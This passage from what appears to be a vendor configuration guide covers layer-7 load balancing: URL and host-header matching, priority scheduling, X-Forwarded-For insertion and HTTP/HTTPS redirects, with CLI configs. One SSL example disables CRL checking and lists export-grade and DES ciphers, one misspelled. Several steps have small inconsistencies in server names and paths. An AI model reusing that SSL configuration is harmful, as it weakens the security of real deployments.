点击<确定>,完成操作。
创建lc2与lc1步骤相同,配置参数如下图所示。
图6-7 流量特征lc2参数
在导航栏中选择“策略>应用负载均衡>高级策略>动作”,进入动作页面。
单击<新建>,添加动作名称为la1,类型选择HTTP,主用实服务组sf1,持续性组为sg1,如下图所示。
图6-8 添加动作信息
单击<确定>,完成操作。
负载均衡动作la2、la3与la1创建步骤相同,la2主用实服务组sf2,la3主用实服务组sf3,la2、la3配置参数分别如图6-9、图6-10所示。
图6-9 la2配置参数
图6-10 La3配置参数
在导航栏中选择“策略>应用负载均衡>高级策略>负载均衡策略”,进入负载均衡策略页面。
单击<新建>,添加策略名称为lp1,类型选择HTTP,规则点击<新建>,流量特征选择lc1,动作选择la1,点击<确定>。再次点击<新建>,流量特征选择lc2,动作选择la2,点击<确定>。默认动作选择la3,如下图所示。
图6-11 添加策略信息
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>参数模板”,进入参数模板页面。
单击<新建>,添加参数模板名称为pp1,类型选择HTTP,开启逐请求负载均衡,如下图所示。
图6-12 添加参数模板信息
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTP,配置虚服务IP为61.159.4.100,应用负载均衡策略lp1,以及参数模板pp1,并开启虚服务,如下图所示。
图6-13 新建虚服务器
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面,查看成员列表一栏
图6-14 实服务组sf1下的成员
图6-15 实服务组sf2下的成员
图6-16 实服务组sf3下的成员
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
图6-17 实服务组列表
图6-18 虚服务列表
虚服务有统计信息:
图6-19 虚服务统计信息
当发起URL中包含sports、news、government的请求时,流量特征匹配lc1,此时rs1有流量统计:
图6-20 发起URL中包含sports、news、government的请求时,实服务统计信息
当发起URL中包含finance、technology、shopping的请求时,流量特征匹配lc2,此时rs12有流量统计:
图6-21 发起URL中包含finance、technology、shopping的请求时,实服务统计信息
当发起URL中包含aaa的请求时,流量特征匹配不上lc1和lc2,走默认的lc3,此时rs13有流量统计:
图6-22 发起URL中包含aaa的请求时,实服务统计信息
同时发起URL中包含aaa、sports、news、government、 finance、technology、shopping的请求,统计如下:
图6-23 同时发起请求,虚服务统计信息
图6-24 同时发起请求,实服务组统计信息
图6-25 同时发起请求,实服务统计信息
图6-26 客户端抓包报文分析
查看实服务器统计只有rs1命中:
再次发起带有这个Cookie值的报文请求:Cookie: cookie1=2.2.6f9802f9.0,查看持续性生效,只有rs1有统计:
#
nqa template icmp t1
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs11 port 0
success-criteria at-least 1
#
server-farm sf2
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs12 port 0
success-criteria at-least 1
#
server-farm sf3
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
real-server rs13 port 0
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs11
ip address 192.168.1.11
#
real-server rs2
ip address 192.168.1.2
#
real-server rs12
ip address 192.168.1.12
#
real-server rs3
ip address 192.168.1.3
#
real-server rs13
ip address 192.168.1.13
#
loadbalance class lc1 type http match-any
match 1 url sports
match 2 url news
match 3 url government
#
loadbalance class lc2 type http match-any
match 1 url finance
match 2 url technology
match 3 url shopping
#
loadbalance action la1 type http
server-farm sf1 sticky sg1
#
loadbalance action la2 type http
server-farm sf2 sticky sg1
#
loadbalance action la3 type http
server-farm sf3 sticky sg1
#
loadbalance policy lp1 type http
class lc1 action la1
class lc2 action la2
default-class action la3
#
sticky-group sg1 type http-cookie
cookie insert name cookie1
#
parameter-profile pp1 type http
rebalance per-request
#
virtual-server vs type http
virtual ip address 61.159.4.100
parameter http pp1
lb-policy lp1
service enable
#
如图所示,Host访问域名,通过DNS server将域名解析出虚服务器地址,Host发起访问虚服务器的地址,通过LB设备对3台服务器进行访问,三台服务器均可提供HTTP服务,访问服务器的流量将根据负载均衡策略在三台服务器之间负载分担。
图6-27 基于host的七层负载组网图
为实现基于host的七层应用负载均衡,需要在LB设备上完成如下配置:
· LB设备上配置实服务组、实服务器、虚服务。
· 配置策略,类和动作,类中配置匹配host的规则,使得host是www.aaa.com的请求分给Server A,host是www.bbb.com的请求分给Server B,host是www.ccc.com的请求分给Server C。
· DNS server提供解析DNS域名的服务,解析域名后的地址返回给Host。
· LB虚服务地址是DNS域名解析后的地址,使得Host再次发起请求时是对虚服务的请求。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· Host与DNS server路由可达,Host可以直接将DNS服务器指向DNS server。
· 入方向交换机二层透传,网关在LB上,Host到LB路由可达,出方向交换机二层透传,网关在LB上,LB到服务器路由可达、服务器到LB路由可达。
· DNS server解析域名的地址跟LB上虚服务的地址一致。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加名称为t1、类型为ICMP的健康检测模板,如下图所示。
图6-28 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,如下图所示。
图6-29 添加实服务组
单击<确定>按钮,完成操作。
创建实服务组sf2、sf3与sf1步骤相同。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组,点击添加成员列表,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-30 添加实服务组成员信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与配置rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf2,点击添加实服务组成员,参照上图步骤创建实服务器rs2,配置其IPv4地址为192.168.1.2。
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf3,点击添加实服务组成员,参照上图步骤创建实服务器rs3,配置其IPv4地址为192.168.1.3。
在导航栏中选择“策略>应用负载均衡>高级策略>流量特征”,进入流量特征页面,单击<新建>添加流量特征名称为lc1,类型选择HTTP,匹配方式为匹配所有规则,Match ID为1,类型选择HTTP Header,Header名称为host,Header值为www.aaa.com,如下图6-31所示。
点击<确定>,完成操作。
按照Lc1的步骤依次分别添加lc2、lc3:
添加流量特征名称为lc2,类型选择HTTP,匹配方式为匹配所有规则,match ID为1,类型选择HTTP Header,Header名称为host,Header值为www.bbb.com,如下图6-32所示。
添加流量特征名称为lc3,类型选择HTTP,匹配方式为匹配所有规则,match ID为1,类型选择HTTP Header,Header名称为host,Header值为www.ccc.com,如下图6-33所示。
在导航栏中选择“策略>应用负载均衡>高级策略>动作”,进入动作页面。
单击<新建>,添加动作名称为la1,类型选择HTTP,主用实服务组sf1,如下图所示。
图6-34 添加动作信息
单击<确定>,完成操作。
创建la2、la3与la1步骤相同,la2主用实服务组sf2,la3主用实服务组sf3。
在导航栏中选择“策略>应用负载均衡>高级策略>负载均衡策略”,进入负载均衡策略页面。
单击<新建>,添加策略名称为lp1,类型选择HTTP,规则点击<新建>,流量特征选择lc1,动作选择la1,点击<确定>。再次点击<新建>,流量特征选择lc2,动作选择la2,点击<确定>。再次点击<新建>,流量特征选择lc3,动作选择la3,点击<确定>,如下图所示。
图6-35 添加策略信息
点击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTP,配置虚服务IP为61.159.4.100,应用负载均衡策略lp1,并开启虚服务,如下图所示。
图6-36 添加虚服务器vs
点击<确定>,完成操作。
在导航栏中选择“网络>DNS>DNS客户端”,进入DNS客户端页面,在“域名服务器地址”,添加DNS server的地址:184.45.0.220,如下图所示。
图6-37 添加DNS客户端
虚服务有统计信息:
当发起访问www.aaa.com请求时,流量特征匹配lc1,此时rs1有流量统计:
当发起访问www.bbb.com请求时,流量特征匹配lc2,此时rs2有流量统计:
当发起访问www.ccc.com请求时,流量特征匹配lc3,此时rs3有流量统计:
dns proxy enable
dns server 184.45.0.220
#
nqa template icmp t1
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
#
server-farm sf2
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
#
server-farm sf3
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
loadbalance class lc1 type http
match 1 header host value www.aaa.com
#
loadbalance class lc2 type http
match 1 header host value www.bbb.com
#
loadbalance class lc3 type http
match 1 header host value www.ccc.com
#
loadbalance action la1 type http
server-farm sf1
#
loadbalance action la2 type http
server-farm sf2
#
loadbalance action la3 type http
server-farm sf3
#
loadbalance policy lp1 type http
class lc1 action la1
class lc2 action la2
class lc3 action la3
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs1 type http
virtual ip address 61.159.4.100
lb-policy lp1
service enable
#
如图所示,Host通过LB设备对3台服务器进行访问,三台服务器Server A、Server B和Server C均可提供HTTP服务;Host访问服务器的流量会根据三台服务器的优先级进行选择,如果实服务组中配置了限制调度的个数,实服务器优先级跟调度个数会共同对实服务器进行调度,实现负载分担。
图6-38 基于优先级调度七层服务器负载组网图
为实现基于优先级调度的七层应用负载均衡,需要在LB设备上完成如下配置:
· LB设备上配置实服务组、实服务器、虚服务,实服务组中配置可选择的实服务器的数量为1,实服务器配置不同的优先级分别为4、8、1。
· 入方向交换机二层透传,网关在LB上,Host到LB路由可达,出方向交换机二层透传,网关在LB上,LB到服务器路由可达、服务器到LB路由可达。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· Host到LB路由可达,LB到server路由可达,server到LB路由可达,服务器网关在LB上。
· 入方向跟出方向交换机均配置二层透传,网关都在LB上。
· 实服务组中配置可选择的实服务器数量,三台服务器配置不同的优先级。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加名称为t1、类型为ICMP的健康检测模板,如下图所示。
图6-39 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,勾选“限制可被调度算法调用的实服务器数量”,最小数量与最大数量均配置成1,如下图所示。
图6-40 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,优先级为4,如下图所示。
图6-41 添加实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3。rs2优先级为8,IPv4地址为192.168.1.2;rs3优先级为1,IPv4地址为192.168.1.3。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择HTTP,配置虚服务IP为61.159.4.100,应用实服务组sf1,并开启虚服务,如下图所示。
图6-42 配置虚服务器
点击<确定>,完成操作。
#
nqa template icmp t1
#
server-farm sf1
predictor hash address source
selected-server min 1 max 1
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
priority 8
success-criteria at-least 1
real-server rs3 port 0
priority 1
success-criteria at-least 1
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs type http
virtual ip address 61.159.4.100
default server-farm sf1
service enable
SLB部署SNAT业务情况下,服务器需要基于客户端的地址做数据统计,在客户端请求报文中插入值。
内网用户Host通过LB设备对3台服务器进行访问,公网内三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担。要求Host访问流量进行源地址转换,且其中将访问URL含关键字government的客户端地址透传给实服务器C,以便实服务器甄别客户端做进一步安全性处理;其它URL流量在实服务器A和B之间负载分担。
图6-43 客户端源地址插入组网图
为了实现LB设备透传特定用户的客户端源地址,需要在LB设备上完成如下配置:
· 配置SNAT屏蔽客户端内网地址。
· 创建负载均衡策略,其中对于URL包含government的访问请求,动作中启用插入X-Forwarded-For字段以便携带客户端源地址;其它URL直接负载分担到实服务器。
· 创建HTTP类型的参数模板,开启每请求执行动作,对客户端的每个请求都插入源地址
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 确保Host到LB设备的虚服务路由可达。
· 在LB设备上配置的实服务器地址要与相应的实服务器地址保持一致。
· SNAT地址池的地址与出接口同网段时,需要在地址池上配置免费发送ARP。
· HTTP报文中的首部内容为1~255个字符的字符串,也可以使用以下特定含义的字符串,说明:%is:源IP地址或源IPv6地址。%ps:源端口号。%id:目的IP地址或目的IPv6地址。%pd:目的端口号。
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-44 添加健康检测模板
单击<确定>按钮,完成操作。
# 创建源地池:在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面。
单击<新建>,源地址池名称snat1,配置起始地址和结束地址为接口同网段公网地址192.168.1.254,配置发送免费ARP或ND报文的接口,点击<确定>。
图6-45 新建源地址池
点击<确定>,完成操作。
# 创建实服务组sf1,采用的调度算法为源IP地址哈希算法,选择源地址池snat1。
策略>应用负载均衡>实服务组,单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1,源地址池选择snat1。
图6-46 新建实服务组sf1
# 创建实服务组sf2,采用的调度算法为加权轮转,选择源地址池snat1。
策略>应用负载均衡>实服务组,添加实服务组sf2,调度算法选择加权轮转,源地址池选择snat1,点击<确定>。
图6-47 新建实服务组sf2
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,新建实服务器rs1,IP地址为192.168.1.1,权值为150。点击<确定>。
图6-48 新建实服务器
创建实服务器rs2和rs3与创建rs1步骤相同
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,参照上图创建实服务器rs2,配置其IPv4地址为192.168.1.2、权值为120。
策略>应用负载均衡>实服务组,编辑实服务组sf2,点击添加实服务组成员,参照上图创建实服务器rs3,配置其IPv4地址为192.168.1.3、权值为90。
策略>应用负载均衡>高级策略>流量特征,添加HTTP类型的流量特征名称为lc1,识别访问请求中URL含government关键字的用户。
图6-49 新建流量特征
# 添加HTTP类型的动作名称为la1,为转发到实服务组sf2,并启用插入X-Forwarded-For字段。
策略>应用负载均衡>高级策略>动作,添加HTTP类型的动作名称为la1为转发到实服务组sf2,并启用插入X-Forwarded-For字段。
图6-50 新建动作
# 添加HTTP类型的动作名称为la2,为转发到实服务组sf1
策略>应用负载均衡>高级策略>动作,添加HTTP类型的动作名称为la2为转发到实服务组sf1:
图6-51 新建动作
# 创建HTTP类型的负载均衡策略lp1,配置默认动作为la2,流量特征为lc1的动作为为la1。
策略>应用负载均衡>高级策略>负载均衡策略,添加HTTP类型的策略名称为lp1,默认动作为la2,新建规则流量特征为lc1动作为la1:
图6-52 新建负载均衡策略
#创建HTTP类型的参数模板,开启每请求执行动作。
在导航栏中选择“策略>应用负载均衡>参数模板”,点击<新建>,创建HTTP类型参数模板pp1,开启每请求执行动作。
图6-53 新建虚服务器
# 创建HTTP类型的虚服务器vs,配置其VSIP为61.159.4.100,引用负载均衡策略lp
策略>应用负载均衡>虚服务器>添加虚服务器vs:HTTP类型,配置虚服务IP为61.159.4.100,使能虚服务,勾选“高级属性”并在负载均衡策略中选择lp1:
图6-54 新建虚服务器
#
nqa template icmp t1
#
loadbalance snat-pool snat1
ip range start 192.168.1.254 end 192.168.1.254
#
server-farm sf1
predictor hash address source
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs1 port 0
weight 150
success-criteria at-least 1
real-server rs2 port 0
weight 120
success-criteria at-least 1
#
server-farm sf2
predictor hash address source
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs3 port 0
weight 90
success-criteria at-least 1
#
loadbalance class lc1 type http
match 1 url government
#
loadbalance action la1 type http
server-farm sf2
header insert request name X-Forwarded-For value %is
#
loadbalance action la2 type http
server-farm sf1
#
loadbalance policy lp1 type http
class lc1 action la1
default-class action la2
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
parameter-profile pp1 type http
header modify per-request
#
virtual-server vs type http
virtual ip address 61.159.4.100
parameter http pp1
lb-policy lp1
default server-farm sf1
service enable
SLB部署SNAT业务情况下,服务器需要基于客户端的地址做数据统计,在客户端请求报文中插入值。
内网用户Host通过LB设备对3台服务器进行访问,公网内三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担。要求Host访问流量进行源地址转换,且其中将访问URL含关键字government的客户端地址透传给实服务器C,以便实服务器甄别客户端做进一步安全性处理;其它URL流量在实服务器A和B之间负载分担。
图6-55 客户端源地址插入组网图
为了实现LB设备透传特定用户的客户端源地址,需要在LB设备上完成如下配置:
· 配置SNAT屏蔽客户端内网地址。
· 创建负载均衡策略,其中对于URL包含government的访问请求,动作中启用插入X-Forwarded-For字段以便携带客户端源地址;其它URL直接负载分担到实服务器。
· 创建http类型的参数模板,开启每请求执行动作,对客户端的每个请求都插入源地址。
本举例是在L1090的Ess 1101P13版本上进行配置和验证的。
· 确保Host到LB设备的虚服务路由可达。
· 在LB设备上配置的实服务器地址要与相应的实服务器地址保持一致。
· HTTP报文中的首部内容为1~255个字符的字符串,也可以使用以下特定含义的字符串,说明:%is:源IP地址或源IPv6地址。%ps:源端口号。%id:目的IP地址或目的IPv6地址。%pd:目的端口号。%sps:服务器侧的源端口号。%spd:服务器侧的目的端口号。%sis:服务器侧的源IP地址。%sid:服务器侧的目的IP地址。
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-56 添加健康检测模板
单击<确定>按钮,完成操作。
# 创建源地池:在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面。
单击<新建>,源地址池名称snat1,配置起始地址和结束地址为接口同网段公网地址7::6,点击<确定>。
图6-57 新建源地址池
# 创建实服务组sf1,采用的调度算法为源IP地址哈希算法,选择源地址池snat1。
在导航栏中选择“策略>应用负载均衡>实服务组”,单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康检测方法选择t1,源地址池选择snat1。
图6-58 新建实服务组sf1
# 创建实服务组sf_gov,采用的调度算法为加权轮转,选择源地址池snat1。
在导航栏中选择“策略>应用负载均衡>实服务组”,添加实服务组sf_gov,调度算法选择加权轮转,点击<确定>。
图6-59 新建实服务组sf_gov
在导航栏中选择“策略>应用负载均衡>实服务组”,选择实服务组sf1,点击<编辑>,在成员列表一栏添加实服务器rs1,IP地址为7::2。点击<确定>。
图6-60 新建实服务器
参照上图在实服务组sf1下创建实服务器rs2,配置其IPv6地址为7::3。
参照上图在实服务组sf_gov下创建实服务器rs3, 配置其IPv6地址为7::4。
在导航栏中选择“策略>应用负载均衡>高级策略>流量特征”,添加HTTP类型的流量特征名称为lc1,识别访问请求中URL含government关键字的用户。
图6-61 新建流量特征
# 添加HTTP类型的动作名称为la1,为转发到实服务组sf并启用插入X-Forwarded-For字段,以便在客户端请求报文中插入名字为X-Forwarded-For,值为客户端源地址的字段。
在导航栏中选择“策略>应用负载均衡>高级策略>动作”,添加HTTP类型的动作名称为la1为转发到实服务组sf_gov,并启用插入X-Forwarded-For字段。
图6-62 新建动作
# 添加HTTP类型的动作名称为la2,为转发到实服务组sf1
在导航栏中选择“策略>应用负载均衡>高级策略>动作”,添加HTTP类型的动作名称为la2为转发到实服务组sf1:
图6-63 新建动作
# 创建HTTP类型的负载均衡策略lp,配置默认动作为la2,流量特征为lc1的动作为la1。
在导航栏中选择“策略>应用负载均衡>高级策略>负载均衡策略”,添加HTTP类型的策略名称为lp,默认动作为la2,新建规则流量特征为lc1动作为la1:
图6-64 新建负载均衡策略
#创建HTTP类型的参数模板,开启每请求执行动作。
在导航栏中选择“策略>应用负载均衡>参数模板”,点击<新建>,创建HTTP类型参数模板,开启每请求执行动作。
图6-65 创建参数模板pp1
# 创建HTTP类型的虚服务器vs1,配置其VSIP为200::1,引用负载均衡策略lp。
在导航栏中选择“策略>应用负载均衡>虚服务器”,点击<新建>,添加虚服务器vs1:HTTP类型,配置虚服务IP为200::1,在负载均衡策略中选择lp,并引用参数模板pp1:
图6-66 新建虚服务器
在导航栏中选择“策略>应用负载均衡>实服务组”,分别进入实服务组sf和sf_gov页面,查看成员列表一栏。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面
在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面
在导航栏中选择“策略>应用负载均衡>高级策略”,进入负载均衡策略页面
在导航栏中选择“策略>应用负载均衡>高级策略”,进入流量特征页面
在导航栏中选择“策略>应用负载均衡>高级策略”,进入动作页面
#
nqa template icmp t1
#
loadbalance snat-pool snat1
ipv6 range start 7::6 end 7::6
arp-nd interface Route-Aggregation1.20
#
server-farm sf1
predictor hash address source
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs1 port 80
success-criteria at-least 1
real-server rs2 port 80
success-criteria at-least 1
#
server-farm sf_gov
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs3 port 80
success-criteria at-least 1
#
loadbalance class lc1 type http
match 1 url government
#
loadbalance action la1 type http
server-farm sf_gov
header insert request name x-forwarded-for value %sid
#
loadbalance action la2 type http
server-farm sf1
#
loadbalance policy lp type http
class lc1 action la1
default-class action la2
#
real-server rs1
ipv6 address 7::2
#
real-server rs2
ipv6 address 7::3
#
real-server rs3
ipv6 address 7::4
#
parameter-profile pp1 type http
header modify per-request
#
virtual-server vs1 type http
virtual ipv6 address 200::1
parameter http pp1
lb-policy lp
default server-farm sf1
service enable
sticky-sync enable
根据请求中的URL分类,将HTTP请求重定向为HTTPS请求,或者将HTTPS请求重定向为HTTP请求。
Host通过LB设备对3台服务器进行访问。负载均衡服务器上配置HTTP协议和HTTPS协议。
三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担。
针对如下URL,要求配置HTTP请求自动重定向到HTTPS请求。
原请求路径 |
重定向路径 |
http://61.159.4.100/login/index.html |
https://61.159.4.100/login/index.html |
针对如下URL,要求配置HTTPS请求自动重定向到HTTP请求。
原请求路径 |
重定向路径 |
https://61.159.4.100/map/index.html |
http://61.159.4.100/map/index.html |
图6-67 LB设备基于URL重定向组网图
为了实现基于URL的策略重定向功能,需要在LB设备上完成如下配置:
· 配置实服务组、实服务器、负载均衡策略。
· 将CA证书和设备证书导入到LB设备,并在LB设备上创建SSL策略。
· 配置虚服务,并在虚服务下应用策略。
· 根据请求中的URL分类,将HTTP请求重定向为HTTPS请求,或者将HTTPS请求重定向为HTTP请求
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 确保Host到LB设备的虚服务路由可达。
· 相应的实服务器使用端口号为80。
· 配置完虚服务后,需要开启虚服务。
· 创建SSL服务器端策略后,需要手工在命令行下配置SSL协商时SSL服务器端发送完整的证书链功能。
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-68 添加健康检测模板
创建实服务组sf1,采用的调度算法为源IP地址哈希算法。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,如下图所示。
图6-69 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,实服务器端口为80,权值设置为150,如下图所示。
图6-70 添加实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs2、rs3与创建rs1步骤相同。
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,参照上图创建实服务器rs2,配置其IPv4地址为192.168.1.2、实服务器端口为80、权值为120。
策略>应用负载均衡>实服务组,编辑实服务组sf1,点击添加实服务组成员,参照上图创建实服务器rs3,配置其IPv4地址为192.168.1.3、实服务器端口为80、权值为90。
匹配http://61.159.4.100/login/index.html等URL中带有/login关键字的HTTP请求流量
策略>应用负载均衡>高级策略>流量特征,新建流量特征名称为lc-http,新建规格match ID为1,类型为URL,URL为/login。
图6-71 新建流量特征lc-http
匹配https://61.159.4.100/map/index.html等URL中带有/map关键字的HTTPS请求流量。新建HTTP类型的流量特征lc-https,新建匹配规则match ID为1,类型为URL,URL为/map。
图6-72 新建流量特征lc-https
将HTTP请求报文重定向为HTTPS请求报文的动作http-https。
策略>应用负载均衡>高级策略>动作,新建动作名称为http-https,类型为HTTP重定向,重定向URL为https://%h%p。
图6-73 新建动作
将HTTPS请求报文重定向为HTTP请求报文的动作https-http。
策略>应用负载均衡>高级策略>动作,新建动作名称为https-http,类型为HTTP重定向,重定向URL为http://%h%p。
图6-74 新建动作
将上述流量特征和动作关联实现如下功能:
(1) 策略lp1将URL中带有/login的HTTP报文重定向为HTTPS报文
(2) 策略lp2将URL中带有/map的HTTPS报文重定向为HTTP报文
策略>应用负载均衡>高级策略>负载均衡策略,新建负载均衡策略lp1,类型为HTTP,新建规则流量特征为lc-http,动作为http-https
图6-75 新建负载均衡策略
策略>应用负载均衡>高级策略>负载均衡策略,新建负载均衡策略lp2,类型为HTTP,新建规则流量特征为lc-https,动作为https-http
在导航栏中选择“对象>PKI>证书”,进入证书页面。
单击<新建>PKI域,添加域名称为ca,禁止CRL检查,如下图所示。
图6-76 添加PKI域
点击<确定>,完成操作。
选中ca,点击<导入证书>按钮,如下图所示。
图6-77 导入证书
证书类型选择CA证书,点击<选择文件>按钮,选择CA文件,如下图所示。
图6-78 导入CA证书
点击<确定>,完成操作。
证书类型选择本地证书,点击<选择文件>按钮,选择local.pfx文件,输入证书口令,如下图所示。
图6-79 导入本地证书
点击<确定>,完成操作。
在导航栏中选择“对象>SSL>服务器端策略”,进入SSL页面。
单击<新建>按钮,添加策略名称为SSL,PKI域选择ca的SSL服务器端策略,RC2和RC4的算法剔除,如下图所示。
图6-80 添加SSL服务器端策略
点击<确定>,完成操作。
由于在WEB上不支持配置SSL协商时SSL服务器端发送完整的证书链的功能,需要手工在命令行下配置开启该功能。
[sysname]ssl server-policy ssl
[sysname-ssl-server-policy-ssl]certificate-chain-sending enable
#配置两个虚服务,分别响应HTTP请求报文和HTTPS请求报文
策略>应用负载均衡>虚服务器,新建虚服务器vs1,类型为HTTP,配置虚服务IP为61.159.4.100,其默认实服务组为sf1,端口号为80,绑定负载均衡策略lp1,并开启虚服务点击<确定>。
图6-81 新建虚服务器vs1
策略>应用负载均衡>虚服务器,新建虚服务器vs2,类型为HTTPS,配置虚服务IP为61.159.4.100,其默认实服务组为sf1,端口号为443,引用SSL服务端策略ssl,绑定负载均衡策略lp2,并开启虚服务。
图6-82 新建虚服务器http
输入:http://61.159.4.100/login/index.html回车之后将会重定向为https://61.159.4.100/login/index.html。
在客户端捕获报文结果如下:
输入:https://61.159.4.100/map/index.html回车之后将会重定向为http://61.159.4.100/login/index.html。
客户端捕获报文如下:
查看虚服务vs1和vs2都有流量统计。
#
nqa template icmp t1
#
pki domain ca
undo crl check enable
ciphersuite rsa_aes_128_cbc_sha rsa_des_cbc_sha rsa_3des_ede_cbc_sha rsa_aes_256_cbc_sha exp_rsa_des_cbc_sha dhe_rsa_aes_128_cbc_sha he_rsa_aes_256_cbc_sha
#
pki entity ca
#
pki import domain ca der ca filename cacert.cer
pki import domain ca p12 local filename local.pfx
#
ssl server-policy ssl
pki-domain ca
certificate-chain-sending enable
#
server-farm sf1
predictor hash address source
probe t1
success-criteria at-least 1
real-server rs1 port 80
weight 150
success-criteria at-least 1
real-server rs2 port 80
weight 120
success-criteria at-least 1
real-server rs3 port 80
weight 90
success-criteria at-least 1
#
loadbalance class lc-http type http
match 1 url /login
#
loadbalance class lc-https type http
match 1 url /map
#
loadbalance action http-https type http
redirect relocation https://%h%p
#
loadbalance action https-http type http
redirect relocation http://%h%p
#
loadbalance policy lp1 type http
class lc-http action http-https
#
loadbalance policy lp2 type http
class lc-https action https-http
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
virtual-server vs1 type http
virtual ip address 61.159.4.100
lb-policy lp1
default server-farm sf1
service enable
#
virtual-server vs2 type http
port 443
virtual ip address 61.159.4.100
lb-policy lp2
default server-farm sf1
ssl-server-policy ssl
service enable
将实服务器返回的重定向报文中的location内容修改成指定内容。
Host通过LB设备对3台服务器进行访问。三台服务器Server A、Server B和Server C均可提供HTTP服务,服务端口为8080。Host访问服务器的流量会在三台服务器之间负载分担。LB设备向用户提供的端口为80。
